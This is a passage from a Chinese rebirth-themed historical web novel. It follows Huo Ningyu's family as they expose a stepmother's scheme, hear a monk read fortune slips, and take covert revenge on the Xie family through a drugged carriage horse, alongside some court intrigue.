“他也有今天,最好打死他。”万青黛觉得大快人心,“凝玉,是不是你请赵大人帮的忙?”
“没错,你可是欠我好大一个人情哦。”霍凝玉笑道。
“多谢。以后有用得着我的地方,尽管开口,只要我能办到,一定义不容辞。”万青黛向霍凝玉深深一礼。
“我们俩是闺中好友,最是亲密,不谈这些,我是玩笑而已。如果我有难,我想你也会尽力帮我的,对吧?”
“当然。哎,不是姐妹反而胜似姐妹,而真正的亲姐妹却要害我。”万青黛惆怅感叹。
“不用想那些,就当与她没有亲缘,等你嫁了人,你会有自己最亲的亲人。”霍凝玉安慰。
以后青黛的孩子就是她最亲的亲人。
不是人人都能遇到好亲人。
而她会投胎,万幸。
“嗯。”
惨叫声停止。
被打得痛不欲生的高季晨再不敢嚣张。
如鹌鹑似的缩成一团。
“高季晨,本官问你,中秋宫宴,你借霍家小姐的名义约万小姐
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见面,是不是故意的?
如果你不说实话,林宇还会再继续,你想好了再回答。”赵炳煜淡漠的声音如催命符。
高季晨疼得满头大汗,眼里喷着火,可是他被捆着,只能任人宰割。
”还不快说,还想再挨几脚吗?“林宇作势又要踢他。
“我说,我说。我的确是故意的。我喜欢她,我想娶她。可她总是冷冰冰对我。我才忍不住亲她,想轻薄了她,她就会心甘情愿嫁给我。”高季晨急急说道。
这话传到隔壁万家父子耳里,气得就要出去,当面再教训一顿高季晨,但被守门的拦住。
“高季晨,你是不是觉得本官很好骗,还是觉得你的骨头特别硬。再给本官继续打。”赵炳煜冷漠地吩咐。
都到他手里了,还想撒谎。
林宇又踢了高季晨几脚。
疼得他在地上打滚,求饶。
“再不说实话,小心你的小命,我们大人就是直接杀了你,你们高家都不敢吭一声。
以为你嫡姐嫁入国公府,就敢为所欲为了?
就是国公爷见到我们大人都要点头打招呼,你一个不学无术的纨绔,谁也不会保你。”林宇威胁道。
“我......我说。是万家二表妹和万夫人,也就是我三姑姑,请我帮忙。
她们母女想坏了万大小姐的名声。那日在宫宴上,我想勾引万大小姐对我倾心,然后带她私奔,三姑姑再派人来捉我们回去。
如此,三姑姑就有理由把万大小姐送去普陀庵,去了就不用再回来。”高季晨一五一十说出实情。
“万夫人的目的是什么?”赵炳煜问道。
“三姑姑是庶女记到嫡母名下的,没有多少嫁妆,她想要前夫人的嫁妆。”高季晨早就从二表妹嘴里套出三姑姑的目的。
“万家还有大公子,她怎么能得到前夫人的嫁妆?”赵炳煜又问。
“这个我就不知道了,三姑姑应该还有计划,只是万大小姐已经十五岁了,眼看就要嫁人,先解决万大小姐。”高季晨猜测。
“林宇,把他丢去刑部大牢。高家要赎人,给一万两银子,如果不赎人,就关他一年,再丢去军营做先锋。”赵炳煜直接处罚。
第34章 家门不幸
想知道的已经问出,目的已经达到,赵炳煜挥了挥手。
林宇拖着如死狗般的高季晨出去。
两边厢房的人走出来。
“祖父,父亲。”万青黛看到自己的亲人,可是却没多少亲热,只规规矩矩行了一礼。
祖父平时不管内宅事,待她虽慈爱,但也有限,与别的孙辈一样,而父亲更是听继母的枕边风,对她不冷不热。
“青黛......”万祭酒看到孙女,轻唤一声,可不知道说什么好,“你在霍家住了几日,一会儿与祖父一起回府吧。”
他只能说出这句。
当着外人的面,有些话不好说,还是回家再处理。
“是,祖父。”
而万裴德看到女儿,却一句话说不出来。
他现在才知道自己做人有多失败,被个女人骗得差点失去嫡长女。
如果今日没有听到高季晨的话,或许他连嫡长子都可能失去。
老父亲没有当场发难已是给他留脸面。
“见过两位万大人。”霍鸣羡一躬身,霍凝玉跟在后面,只是蹲了蹲身。
祭酒大人是父亲的恩师,礼不可废。
“霍大公子,让你见笑了,家门不幸。”万祭酒老脸有些挂不住。
这话霍鸣羡没法接。
几人进了厢房。
“赵大人,今日多谢你为我万家查清此事。”万祭酒向赵炳煜一拱手。
“下官不是看你面子,是霍乡君请下官帮忙,要谢你们就谢她吧。”赵炳煜不居功。
事实也确实如此。
“多谢霍乡君。”万裴德很有眼色,立刻向霍凝玉一揖。
要是让老父亲谢一个这么小的晚辈,颜面何存。
“万大人不必如此,青黛是我的好友。”
“本官答应你的事办到了。”赵炳煜看了一眼霍凝玉,“告辞。”
霍凝玉点了点头。
听懂了他的意思。
她说的另一个消息也该抽个时间告诉他具体的了。
那日,她不过只说了一句话,并不详细。
赵炳煜大步离去。
他的那句话也让万家父子知道,霍凝玉是用条件换得赵炳煜帮忙,抓了高季晨来此审问。
还特意请他们父子来听真相。
万家祖孙三代回到万府。
万青黛被打发回自己院子。
父子俩来到书房,万祭酒什么话都没说,直接甩了大儿子一巴掌。
吓得万裴德扑通跪到地上。
“父亲息怒,都是儿子的错。被妇人蒙蔽了双眼。”他认错态度端正。
“一屋不扫,何以扫天下?你把自己的家管得如此不堪,你的嫡子嫡女差点没了,你都没有半点警觉,你还做什么官?你太让为父失望了。”万祭酒这回真被气得不轻。
“是,儿子知错。“万裴德咬了咬牙,又道,“儿子这就把她休了,送回高家。”
今日之前,他从不知道夫人如此歹毒。
平日伺候得很周到,长得也很漂亮,说休,他还真舍不得。
可发生这么大的事,为了家族安宁,他不得不忍痛。
“怎么,你还想让她生的两个孩子也没了母亲吗?”万祭酒气不打一处来。
愚蠢至极。
他怎么就生出这么笨的儿子。
“父亲的意思是?”他心里一喜。
不用休妻,还能保持体面。
“送到庄子上去吧,直到青鸿娶妻,大孙媳妇掌家后再接回来。这期间让老二媳妇管理中馈。”万祭酒沉痛做出安排。
真是家门不幸,庶女当真上不得台面,就看到那点小利。
幸好青黛交了霍家女为友,不然,后果不堪设想。
“青鸿游学也快回来了,明年春闱他也要下场试试,不管他考得如何,让老二媳妇给他相看好人家,早些娶妻。”万祭酒又道。
“是。”万裴德略松一口气。
翌日。
霍凝玉就收到万青黛写来的信。
她的继母被送去庄子上了,以后再没有继母来害她。
她的二妹妹哭闹得很凶,要打她,结果被她祖父罚禁足三个月。
“不错,万大人还算拧得清。”
下午霍鹏程又带回消息。
高家出了一万两银子把高季晨从刑部大牢赎了出来。
“凝玉,这是八千两银票,赵大人给为父的,他说他只要两千两的辛苦费,这八千两你看着办。”霍鹏程拿出八张银票,每张一千两。
“还有这好事?”
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霍凝玉惊讶。
拿起银票数了数。
“父亲,高家没教导好高季晨,让他祸害了青黛,这钱应该给青黛。”霍凝玉不贪这种钱。
“你说得对,给她送去吧。她也是个可怜孩子,一出生就没有亲娘,能长大,还没长歪,已经很难得。”霍鹏程很赞成女儿的做法。
霍凝玉派玛瑙送去,并嘱咐一定要交到青黛手里。
结果第二日,万青黛就给霍凝玉送了一套精美的十二件套金镶玉头面。
做工精致,简单大气。
多年都不过时的款式。估计是从她娘的嫁妆里取的。
这份心意,她收下了。
八月二十九。
这一日是普贤菩萨的生辰。
护国寺有大型佛事活动。
这一日霍凝玉与容华芝早早起床,想去赶个早课。
霍鸣羡又成了母女俩的护花使者。
他前几日去了一趟护国寺,想用多添香油钱请圆通大师帮他一个小忙,可圆通大师当时没答应,过后却又派人送信给他,又答应了。
他一时没想明白,但答应给的香油钱,一文不少送了去。
母子三人来得早,僧侣的早课正在进行。
很多来得更早的都在殿堂外听着大师们诵经。
霍凝玉也认真听着,好似心灵得到了洗涤。
前世,霍家被冤,满门被斩时,她压不下心里的恨意,变得异常暴躁。
可她只是一抹幽魂,什么也做不了,想**,想报仇,她做不到。
当时看到家人的魂飘走,她想追都追不上。
有鬼差拦住她。
直到最后,她也没能和家人说上一句话。
她为了让自己安静下来,就到护国寺外,躲进阴暗处,听大师们诵经,她才熬过了那段日子。
直到心归于平静,她才四处飘荡。
但不管飘到哪里,她总会回到京城,不会离京城太远,这里才是她的家,她心的归属。
“大哥,我听说,今日大师们还要做一场法事,为普陀庵枉死的灵魂超度,是不是真的?”霍凝玉听丫鬟议论过,说还是圣上提的。
“确有此事。”霍鸣羡肯定道。
“凝玉!”
有人高喊。
第35章 解签
霍凝玉望向声音的来处。
正是万青黛,身边还有一位三十多岁的华服妇人。
万青黛小跑过来。
“我还以为你不会来,也就没约你。”霍凝玉温声道。
受了这么大委屈,她以为万青黛会好长一段时间不敢出门。
京里关于她的流言也不少。
说高家看不上她,不会同意她与高季晨的婚事,两人才选择私奔。
还好,她大大方方走出家门,没受太大影响。
“怪我没与你说。你放心,我现在心情豁达,不受任何事影响。现在家里是二婶当家,我不用像以前那般小心翼翼,让着这个,让着那个。”万青黛经此一事,突然如开了窍般,成熟了。
她成长了,不是身高,而是心境。
看到这样的好友,霍凝玉很欣慰。
“见过霍夫人,霍乡君。”万二夫人罗氏微笑上前见礼。
“万二夫人,叫我凝玉就好。”霍凝玉并不因被封乡君就以为自己身份多高。
她还是她。
“既然遇到,我们两家就一起吧。”容华芝邀请。
“好呀。”万青黛最喜欢了。
霍凝玉在她心里已超越闺中好友这个身份。
是她的救命恩人,在心里把她当最亲的亲人。
“妹妹,今日圆通大师会在观音殿外设摊,替人解签,你们要不要去求一支?“霍鸣羡提议。
“真的吗?我听说圆通大师很少为人解签,这样的机会可难得了。我们去看看?”万青黛兴致勃勃。
“你们年轻人一起去玩吧,我与二夫人随便逛逛,一会儿去讲经堂坐坐,玩够了就到那里来寻我们。鸣羡,看好两位姑娘。”容华芝吩咐。
她不拘着孩子们玩耍。
“是,母亲。”
兄妹俩相视一笑。
霍鸣羡低下头在霍凝玉耳边悄悄说了一句:“今日我安排了一场好戏。”
霍凝玉眼睛一亮。
“不过不是在护国寺里上演。”他又补充一句。
引得霍凝玉瞪了他一眼。
这不是吊人胃口吗?
三人慢慢逛着来到大雄宝殿前。
大殿前广场上,此刻正进行着一场超度亡灵的法事。
一群身着绛红色僧袍的僧人,整齐排列在大殿前空地上。
为首的是一位年事已高的老和尚,他身形清瘦,面容慈祥,眉宇间透着岁月沉淀的智慧。只见他双手合十,微微闭目,口中念念有词。
广场四周,早已围满了前来观看法事的信众。
目光专注地望着僧人诵经。
人群中,不时传来低低的抽泣声,是这几年,失去亲人的亲属们在痛哭,尤其做母亲的。
霍凝玉回想看到的那堆白骨。
还有不知多少个婴儿的遗骨已化作尘泥。
她的重生,把这个案子提前了八个月。
在这八个月里,有三位富家小姐送到普陀庵,还有两个京中贵女。
她们都无一幸免,全部被欺辱。
她救了她们。
眼神在信徒们身上扫了一圈。
霍凝玉目光一定。
一个略显熟悉的身影撞入眼帘。
正是几个月后又一个被送去普陀庵的女子。
御史台,梁御史的嫡女。
梁御史表面一本正经,却偷养外室,被发现,接回家。
那外室贯会笼络男人的心,让正室吃了大亏,梁小姐气不过,推了姨娘一把,结果导致姨娘流产,被送去普陀庵。
霍凝玉眼睁睁看着她被人**整整一个月,最终投环自尽。
后来梁夫人痛失爱女,疯了。
再后来失足落水而死。
可怜的女人。
可那时她只是魂魄,根本帮不了她们。
这事后来还成了外祖父被人攻击的污点。
外祖父作为御史台御史大夫,有责任御下,并保证他们的清正。
其身不正,还如何纠察,**百官,肃正纲纪?
想到这里,霍凝玉把此事记在心头,回头提醒一下外祖父。
这种人,不配为御史。
三人看完法事,才向观音殿而去。
“凝玉,你说超度亡灵真的有用吗?”万青黛从肃穆中收回神思。
刚才看到大师们做法,她感觉自己的灵魂都要跟着出窍一般。
好像她也被超度了似的。
“应该有用吧?”霍凝玉无法回答。
前世她死后,谢家也请了大师来超度,可她却什么反应都没有。
反而怨气更盛。
她刚死,第二日夜里,谢正阳就去了那方小院。
开口的第一句话就是:“宁儿,她终于**,没有引起任何怀疑。”
两人开始颠鸾倒凤,直折腾到深更半夜。
苍天有眼,让她重来一次,是没引起
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任何人怀疑,她可以亲自为前世的死报仇。
来到观音殿前,当真排了好长的队伍。
都等着求签,请圆通大师解。
“凝玉,我们也去求一支吧。”万青黛提议。
“你想求什么?姻缘还是祸福?”霍凝玉调笑。
“当然是求祸福,我已经被高季晨的恶行给恶心到了,不想嫁人。”万青黛此时心里就是这么想的。
她有大哥,不怕没人养她。
这想法和霍凝玉如出一辙。
“有时姻缘来了,你挡都挡不住。”霍凝玉希望她能嫁人。
她那个家,人口还是太复杂。
“以后再说。走吧,我们去排队。”
两人排到了最后。
霍凝玉看到忠义伯夫人夏宜宣也排在队伍里,隔了十来个人。
对方也看到了他们兄妹俩,但双方都当没看到。
霍鸣羡看到她,脸上露出淡淡微笑,几不可察地冲霍凝玉点了下头。
一切当真如他计划在进行。
好!
队伍慢慢向前。
当轮到夏宜宣时,她虔诚地把摇到的签恭敬地递给圆通大师。
大师始终微笑对人,每个人都能从他身上感觉到慈悲和宽怀。
让人对他莫名产生敬仰和尊重。
“女施主,是问吉凶还是子女姻缘?”圆通大师问道。
“大师,我最近总睡不好,心里莫名发慌,想问吉凶。”夏宜宣最近心情低落。
大儿子不争气,被一个上不得台面的女人勾了魂,她想管管不了,儿子大了不听她的。
二儿子失了霍鹏程这样的好先生,只短短二十日就被国子监博士骂了几次。
只差没说他朽木不可雕。
只几日功夫,霍凝玉救三皇孙得圣上嘉奖,后又协助赵大人破案,立了大功,被封为乡君。
这么好的儿媳,被大儿子给做没了。
要是八月初八那日顺利娶了霍凝玉过府,这些荣耀就是谢家的。
她这个婆婆走出去也能把头抬得高高的,受人恭维。
越想她越心烦意乱。
圆通大师看了看签文。
“日沉崦嵫不可追,水覆天倾失所依。
强求舟楫临渊渡,终见星槎碎九陂。”
“女施主,此签不太妙。”圆通大师脸上的微笑不因签文有任何变化,还是那般慈悲。
“什么?”
第36章 血光之灾
“金乌堕玉岑者,非日落崦嵋之吉兆,阳德失其位也。
应该是有人犯了女施主的太岁,导致府上诸事不顺。
最好远离小人,方保得一时平安。
老衲再多说一句,或有血光之灾。”圆通大师把签递还给了夏宜宣,示意下一位上前。
夏宜宣愣愣接过签,神游天外。
口中喃喃:“远离小人,血光之灾。一定是那对不要脸的母女。”
脑子一转,就把目标锁定在江宁母女身上。
最近她夜不能寐就是因她们造成的。
得了这个批语,夏宜宣再没多少心思继续在护国寺**各殿,留下十两香油钱就匆匆下山去了。
霍鸣羡的目光追随她而去。
“妹妹,我有事先离开一会儿,你们解了签就去找母亲,你们走之前我定会回来。”霍鸣羡悄声交代。
“好。”
很快轮到万青黛,她也恭敬地把签递给圆通大师。
大师一看签文,脸上的笑容比之前的一成不变更深了些。
“女施主,你命里本带煞,但却东方有红,忽遇贵人,以后自有好前程。”圆通大师笑呵呵道。
“多谢大师。”万青黛听了这话,心里无比欢愉。
签文真准。
继母已被送去庄子,要大哥娶了妻后才可回来。
她的贵人是谁,不用说,就是凝玉。
一时感动,眼眶湿润。
感谢的话,不用多说,在心里记着即可。
轮到霍凝玉,她有点心虚。
圆通大师是得道高僧,会不会从中看出什么来。
万一他看出她是重生的,会不会认为她是鬼怪附身。
圆通大师接过签。
“璇玑悬斗柄,空轮转无常
蜃楼吞海月,无垢亦无光。”
一直笑呵呵的圆通大师,脸上的笑容慢慢收起。
再变成皱紧眉头。
“大师,如何?”霍凝玉小心翼翼问道。
“女施主,此签,很多年没被人抽到过了,几十年来你是第一人。璇玑喻天机在手,海月照迷途,真空妙有,如来如去。女施主,老衲提点一句,善用。”圆通大师意味深长道。
霍凝玉听懂了。
璇玑喻天机在手,她重生不就是已知一些天机吗?
善用!
她不会危害朝廷,更不会危害百姓。
她只想让家人平安,只这一个小小的要求,不过分吧?
“多谢大师。”霍凝玉谢过离去。
圆通大师看了一眼她的背影,收回目光,又恢复之前的慈悲笑容,继续解签。
另一边。
霍鸣羡悄悄跟在夏宜宣后面下了山。
看着她带着怒意上了马车。
他也让车夫架着马车不远不近跟在后面。
走出五里。
突然,前面的马车逐渐加速。
接着越来越快。
两个护卫骑马紧追,可是马车速度太快,一时难以追上。
看到这里,霍鸣羡知道事情成了。
不再跟,也不跟不上了,马车已经跑不见影。
再说夏宜宣。
坐在车里,心里不停咒骂江宁母女,想着用什么办法能让儿子不再沉迷于江宁的美色。
想了无数种办法,甚至想到直接要了她们的命,又压下这个想法。
万一被查出,是她下的毒手,引来赵壑,事情就麻烦了。
伯爷处处小心,就怕圣上抓到错处,削了伯府的爵位。
想来想去,只有一个办法可行,那就是把她们赶出京城,让正阳再也见不到江宁。
可是用什么做借口呢。
又想到圆通大师的话,血光之灾,心突然狂跳起来。
而就在此时,马车疯一般跑起来,她被重重甩在后车壁上。
被撞得头晕眼花。
“夫人,马疯了。”车夫大喊。
“还不快稳住。”
血光之灾,来得这么快!
她被吓得六神无主。
只能尽力攀住车厢。
两个丫鬟也被颠簸得在车厢里滚来滚去。
“夫人,抓牢些。”其中一个丫鬟看到夏宜宣手一松,就要再次撞到车壁,惊慌提醒。
可是没用,人还是重重撞上,疼得夏宜宣差点晕过去。
两个护卫追着马车狂奔,好不容易追上,把套绳斩断。
可是突然失去拉力,马车一个侧翻,连续滚了几圈,滚到了路边的沟里。
解体的马车,一根木条**夏宜宣的大腿,血流如注。
晕死过去。
等到她醒来,已在伯府自己的床上。
府医正在给她包扎伤口。
“娘,
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你醒了?”两个儿子在床前守着。
一看到大儿子,夏宜宣就来气。
可是疼痛让她无暇顾及。
“哎哟!”
“娘,你不要乱动。”谢正齐急道。
“娘,马怎么会疯?你可知是谁做了手脚?”谢正阳刚刚被通知回来,还没来得及问。
“我怎么知道?早上出去都还是好好的,回来时也走了五里左右,突然就跑起来了。正阳,你一定要调查清楚,到底是谁要害娘。”夏宜宣忍着疼痛道。
谢正阳转身出去,把车夫和两个护卫都叫到正院,仔细盘问。
“大公子,小的今日喂的马料和平时没什么区别。出去到回来,快两个时辰,如果马料有问题,早就发作了,等不到我们回来的路上才发作。”车夫如实说道。
谢正阳:“你们两个有没有离开过马车?”
护卫:“大公子,我们去过一次茅厕,但张叔在。”
谢正阳:“你们离开时,可有看见周围有什么可疑之人?”
护卫:“没有,都是各家的护卫和车夫在那守着马车,等主子。”
“大公子,他们去上茅厕时,旁边一家的车夫与小的聊了会儿闲话。
那个空挡,小的是背对着马的。”车夫突然灵光一闪,想到有那么一小会儿,他没看着马。
但人就站在马旁边。
谢正阳:“对方是谁?”
车夫:“不认识,今日去护国寺的人实在太多。”
谢正阳紧皱眉头,这点信息,什么也发现不了。
“大公子,当时霍家的马车也停在不远处,会不会是霍家人做的手脚?”车夫想找替死鬼。
“你有看到他们靠近吗?”谢正阳一怔。
难道是霍家在报复,可是要报复也只会找他报复,欺负他娘有什么意义?
“没有。”车夫也觉得太牵强。
回到内室,府医已经处理好伤口。
“夫人,注意不能沾水,伤口不大,养几日就结痂了。您只是惊慌过度才晕迷。在下给你开一副压惊的药,伤口两日换一次药即可。”府医交代。
“正阳,可有问出什么?”夏宜宣在谢正齐的搀扶下坐起来。
脸上还有余悸。
“没有。娘可有怀疑的对象?”谢正阳暂时没有方向。
第37章 你行事太软,护不住家人
“难道是王姨娘?”夏宜宣能想到的只有府里被伯爷护得滴水不漏的王姨娘。
“她不会用这种手段来害您,她只会在父亲面前邀宠,让娘下不来台。今日疯马,是要人命。”谢正阳不这么认为。
“娘,您好好休息,我会继续查,给您一个交代。”谢正阳一时没有头绪。
等护卫把疯马找回来,他牵去城西小院,让杨氏查看。
马不可能无缘无故发疯。
杨氏仔细检查了一番,又取了一点马的的血来验证。
“大公子,马的确被人做了手脚,应该是让马闻了一种让它兴奋的药,只要马一走起来,加快了血液流动,就会越来越兴奋,最终难以控制。”杨氏得出结论。
果然不出他所料。
“杨姨,可知这种药哪里有卖?”
“一般药铺没有,需要配制。而且其中一味药比较难得,只有东临国才有,或者太医院有收录。”杨氏凝重道。
“霍鸣羡游学刚回京,难道是他?”谢正阳首先想到的就是霍家。
“有可能,但不绝对。”据她在霍家生活八年来看,霍鸣羡用这种下作手段的几率不大。
他太君子。
“就是他。”谢正阳毫不犹豫认定是他。
最近只与霍家结了仇。
“大公子,不再仔细查查?”杨氏不太赞同,放过真正的凶手。
“不用。只是他为何不是直接针对我,而去害我娘?”谢正阳又陷入死胡同。
一时想不出原因,但他也没第一时间告诉忠义伯夫人。
他要找霍鸣羡当面质问,给他一个教训。
——
霍鸣羡看着跑远的马车,并没第一时间离开,而是等了一会儿,让护卫去看看结果。
当得知忠义伯夫人的惨状,心里冷笑一声。
但又一滞,他安排人下的药不应该有这么强的效果,怎么那马疯得让人难以控制?
奇怪!
不过也没多想,效果好更得他心,只要没出人命,就算谢家查到,也没有证据证明是他干的。
以为他真是正人君子吗?
妹妹所讲的前世经历,让他的心境完全变了,对付仇人,决不手软。
回到护国寺,游客已散得差不多。
他想去找圆通大师道个谢,再给五百两香油钱。
可当他走到圆通大师的禅房外时,却听到里面有说话声,就知圆通大师有客人。
“你这么帮霍家,是何意?”圆通大师的声音。
霍鸣羡一怔,这句话成功让他停下脚步。
可他刚站定,门就打开了,一张钟馗脸出现在眼前。
“赵大人?”霍鸣羡瞬间明白。
帮他的人是赵壑!
难怪他来找圆通大师帮忙,当时没答应,后又写信说应下了。
今日忠义伯夫人的马疯得超过预期,原来都是赵壑在暗中帮他。
“听到了?”赵炳煜淡声问。
“多谢赵大人相助。”霍鸣羡深深一揖。
“你行事太软,护不住家人。”赵炳煜如长者般教训他。
“在下受教。”霍鸣羡又一揖,脸有点红。
看来他还不够狠。
霍鸣羡进去向圆通大师道谢后匆匆离去。
赵炳煜继续与大师喝茶,下棋。
桌上正放着赵炳煜许诺给圆通大师的一大罐茶。
“你小子,故意的?”圆通大师取笑道。
“做了好人当然得让人知道。”赵炳煜一直让人跟着,时间也算得刚刚好。
他走到哪里都有亲随。
霍鸣羡怎么可能没人拦着,就走到了圆通大师的禅房门前。
就是不知道霍家大小姐知道他在后面做了推手会是什么想法。
“大师,今日您看了霍家大小姐的签,可看出什么来?”赵炳煜放下一粒黑子,随意问道。
“她抽到了璇玑签,这么多年从没人抽到过。
此女身上有古怪,只看个签文,所知有限,如有她的生辰八字,或许能知道得更多。
不过她对你有莫大帮助,你可多与她接触。”圆通大师提点道。
赵炳煜赞同。
救三皇孙一事就让他有些怀疑,她好像特意等在那里似的,但又没有证据。
当时她与万家小姐散步到那里,正好看到,也说得过去。
而她又看出下去救人的两个侍从不对劲,换了个位置下水。
一个闺阁女子,在短时间就能做出如此精准的判定,再做出应对,实属难得。
他想了很久也想不出这中间有什
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么问题,一切都很合理,但就是因为太合理才让他更加怀疑。
再加上普陀庵的事,让他的怀疑更深。
“多谢大师提点。”
“谢就不必了,记得有了好茶就给老衲分一些,老衲没别的爱好,就好这一口。有空就来陪老衲下下棋。”圆通大师笑呵呵提了两个要求。
两人是忘年交。
十几年前,赵炳煜来为她母亲点长明灯,跪在蒲团前诉说自己的悲伤。
父王不待见他,还想弄死他,让出嫡长子的位置。
他问为什么别人的父亲都疼爱孩子,就连皇伯父日理万机都会抽时间教导几位堂兄。
而他却只能承受父王的嫌弃。
他为了讨父王欢心,做了很多努力,可一点用都没有,反而引来父王的毒打。
当时圆通大师听得一阵心酸,才在圣上面前提了一嘴。
圣上才知道侄儿在湛王府过得如此不堪。
特意教训了一顿湛王爷,可还是没用,只得接进宫自己教导。
从此长在皇宫。
赵炳煜知道自己能进宫养在皇伯父跟前是圆通大师帮的忙,就时常来护国寺找圆通大师。
圆通大师见他骨骼清奇,是个习武的好苗子。倾嚢相授,却不让赵炳煜正式拜师。
赵炳煜一生最在乎的就两个人,皇伯父和如师父一般的圆通大师。
“放心,少不了你的。”
“三皇孙落水的事查清楚了?”圆通大师也有些八卦。
“这种事,查不清楚,但都知道怎么回事。”赵炳煜呼出一口浊气,心里有些闷。
“可知是谁做的?”
“三皇孙被太子和太子妃拘得太紧,好不容易趁中秋得了点自由,就被人利用。
几个孩子身上问不出什么,他们的确只是一起玩耍。
但那提前死去的太监却查出是正常死亡,这手法太高明,让我查了几年案子的人都一时查不出线索来。
好在知道他是哪个宫里出来的。”赵炳煜说起这个,有点颓废。
他能力还是差了点。
“是贵妃宫里的?”圆通大师猜测。
袁贵妃正是大皇子辰王的生母。
目前最有机会争得储位的就是辰王,他自是往贵妃身上猜。
第38章 被赶出京
“一开始我也这样认为,一调查,那太监从没在贵妃宫里伺候过。洗脱嫌疑洗得十分干净。”赵炳煜又落下一子。
“那肯定出自贤妃宫中。”圆通大师又继续猜。
“对,可那是很多年前的事。后来他又在多个宫里伺候过,就连皇后宫里也伺候过。老了,腿脚不如从前才被调去管园子。”
“那不是找不出幕后之手了?”圆通大师有些惋惜。
“也不是,最终证据还是指向辰王和霁王,两人应该不谋而合。但最直接的证据没有,只推出几个宫人做了替死鬼。”
赵炳煜本想再细查,可皇伯父却说不用了,他心里有数。
赵炳煜只得作罢。
他理解皇伯父的难处。
此时朝堂安稳最重要,两位王爷相互制衡更妥当,如若把一人压下去,太子的地位更岌岌可危。
朝臣都是墙头草,风往哪边吹就往哪边倒。
如果两人相当,太子才有喘息的机会。
——
翌日。
夏宜宣休息了一晚,腿没那么疼了,想到大师解签之语。
那对母女绝对是谢家的祸害。
“何嬷嬷,正阳上值去了吗?”夏宜宣问伺候她多年的老嬷嬷。
“夫人,已经上值去了。”何嬷嬷恭敬答道。
“去通知管家,给我安排十个护卫,我要用。”夏宜宣下定决心。
“是夫人。”
很快,夏宜宣一瘸一拐出府,坐上马车。
怒气冲冲来到城西小院。
此时杨氏刚刚送走曾永信。
今日又是施针的时间,一大早曾永信就来了。
经过一段时间的诊治,他的顽疾已快痊愈。
一身松快,对杨氏的医术更加肯定。
“来人,把**母女给我撵出京城。”夏宜宣一声令下。
“夫人,你这是什么意思?”杨氏拦住往里闯的护卫。
可是她那点力道只是螳臂当车。
被一个护卫推倒在地。
摔得哎哟惨叫。
“夫人,我们本本分分待着,什么也没做,何故赶我们走?”杨氏吃力爬起来。
“杨氏,本夫人让你死个明白,自从正阳与霍家小姐退婚后,我谢家就诸事不顺。
昨日本夫人请护国寺圆通大师解签,才得知原来一切都是因为你们母女的缘故。
本夫人这条腿就是佐证,出门时都好好的马,回来时突然发疯,受了无妄的血光之灾,就是你们犯了本夫人的太岁。
今日你们必须给本夫人离开京城,如若敢再踏入京城半步,本夫人一旦知道,直接要了你们的命。”夏宜宣越说越气。
大儿子好好的姻缘因江宁毁了,世子之位也因江宁没了。
还挨了一顿打,想再给儿子找一门好亲事都难。
这一切都是这对母女造成的。
“夫人,你不能这么蛮不讲理,我们母女连谢府的门都没登过,怎么就犯了你的太岁?”杨氏觉得夏宜宣魔怔了。
这都能扯到她们母女身上。
“不管如何,今日你们必须离开京城,以后不准再缠着我儿。”
“夫人,那马是被人做了手脚。你不能赶我们走。”杨氏急道。
“为什么会被人做了手脚,还不是因为你们。本夫人才受了那无妄之灾。”
“这怎么能算到我们头上?”
两人在院子里吵。
江宁只听了两句就知道什么意思。
立刻在丫鬟耳边低语几句。
丫鬟挨着墙根,偷偷溜了出去,找曾永信报信。
“哼,这小院不是我谢家的产业吗?住了这么久,可有交房费?”夏宜宣嗤笑。
杨氏噎住。
这是谢正阳安排她们住在这里的,她理所当然地住下,那是她未来女婿,享受他的照顾不是应当的吗?
怎么可能给房费。
“实话告诉你,这小院是本夫人的嫁妆钱买的。正阳上职那点月俸还不够他零花。”夏宜宣为了打击她,不妨拆儿子的台。
所有公职的月俸都不高,不过是需要那个身份罢了。
这点杨氏一听就懂。
老脸通红。
又忍不住落泪,没有男人,被人欺负到这步田地,没人能为她们母女撑腰。
“娘,我们走就是。”这时,江宁从房里出来,淡漠无波。
没有一点要被赶出京城的落魄。
“宁儿?”杨氏不知女儿为何下此决定。
“娘,没事的,我们有手有脚,在哪里不能生活。”江宁冲她眨了眨眼。
东西被几个护卫丢出,母女俩只得收拾好,让另一个丫鬟去雇了辆马车来装上。
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>夏宜宣让护卫押着她们出城。
再把小院一锁,钥匙装进自己怀里,她才安下心。
“看她以后还怎么勾引正阳。”
“夫人,大公子知道了,会怨恨您的。”何嬷嬷嗫嚅着提醒。
“我是他亲娘,怨我也只是一时,我是为他好。”夏宜宣大大松了一口气。
没了这对母女横在他们母子之间,以后正阳自会听她安排,好好娶一房高门贵女为妻。
而这一切都被霍鸣羡安排的人看在眼里。
回禀给主子。
霍鸣羡得了消息,露出微笑。
来到内院告诉妹妹。
“真的?”霍凝玉听了很高兴。
江宁母女被谢家赶出京,表面看是好事。
就是不知道,她们会不会那么听话离开京城。
如果江宁没能顺利嫁进谢家,她未来的路又会是怎样的?
霍凝玉一时有些迷茫。
无所谓。
不过是给她们母女添点堵罢了。
以谢正阳对江宁的情意,估计会把人找回来。
闹得谢府鸡犬不宁才好。
“当然是真的,不过大哥被人鄙视了。”霍鸣羡有点不自在。
“被谁鄙视了?”霍凝玉一怔。
“皇城司使赵壑。”霍鸣羡把昨日之事说了一遍。
他知道赵大人之所以出手帮他,肯定是看在妹妹的面子上。
“原来如此。没事,大哥,你是文人,怎么能和他比?
手段柔软不是你的错,是你经历的事还不够多。
等以后你在官场历练几年,你就知道人心有多险恶,你的手段自然就硬起来了。”
霍凝玉并不觉得大哥做得不好。
反而认为大哥是个可造之才。
和睦的家庭,哪有那么多阴暗让大哥吃一堑长一智。
得到肯定的霍鸣羡心里美滋滋的。
“赵壑这人看着不近人情,其实也没外面传的那般无情嘛。”霍鸣羡虽被他嘲笑,但对他的人品肯定。
“大哥,你可知他的**?”霍凝玉神秘一笑。
之前她没说过这事。
前世,赵炳煜与她没有任何交集。
“五年前突然被圣上带到人前,直接授六品皇城司使,京里很多人都猜他可能是圣上身边的影卫之一。”霍鸣羡也如此猜测。
第39章 巧遇大公主
五年前,并没有这个官职,圣上为他特设的官职,直接受圣上差遣。
“嘿嘿,大哥,我只告诉你,听了也当不知道。”霍凝玉笑得更神秘。
“好。”霍鸣羡被勾起好奇之心。
“他就是靖王世子,赵炳煜。”
“什么?他不是去边关了吗?”霍鸣羡吃惊道。
赵炳煜,他当然知道此人,最可怜的皇室子。
但也是最幸运的皇室子。
“五年前,他戴上面具,就成了赵壑,不过是换了个方便行事的身份跟在皇上身边。”
